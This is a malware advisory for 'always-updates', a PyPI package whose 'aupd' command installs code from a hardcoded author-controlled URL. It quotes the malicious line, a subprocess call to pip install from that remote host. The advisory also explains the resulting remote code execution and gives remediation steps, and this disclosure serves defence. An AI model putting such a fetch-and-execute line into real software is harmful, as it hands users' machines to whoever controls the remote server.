MAL-2026-3685 Malicious code in always-updates (PyPI)

Malicious package Published
Package
always-updates
Registry
PyPI

What is MAL-2026-3685?

MAL-2026-3685 is a malicious package in always-updates, published on 12 May 2026.

Official description

The package's sole advertised CLI (aupd, registered as a console_scripts entry point to always_updates.main:main) executes subprocess.check_call([sys.executable, '-m', 'pip', 'install', 'https://aupd.19700101t000000z.com']) (always_updates/main.py lines 7 and 16). Running the documented command causes pip to download and install an arbitrary Python distribution from a hardcoded author-controlled endpoint: no version pin, no hash/signature verification, destination is not PyPI nor a documented publisher CDN. Because pip install <url> executes the downloaded package's setup.py, this is arbitrary remote code execution against the installer's machine by design, with attacker-mutable content served from the author's host. Corroborating soft signals: the endpoint hostname aupd.19700101t000000z.com is an anonymously-registered epoch-zero domain, the author email ([email protected]) and referenced GitHub org look theatrical/placeholder — matching the generic-placeholder-metadata-plus-network shape. The harm fires when the user runs the CLI, not at pip install time, but the package's entire advertised purpose is to fetch-and-execute whatever the author-controlled server returns; every invocation is a new, unverified remote payload.

What should I do about MAL-2026-3685?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

Sources

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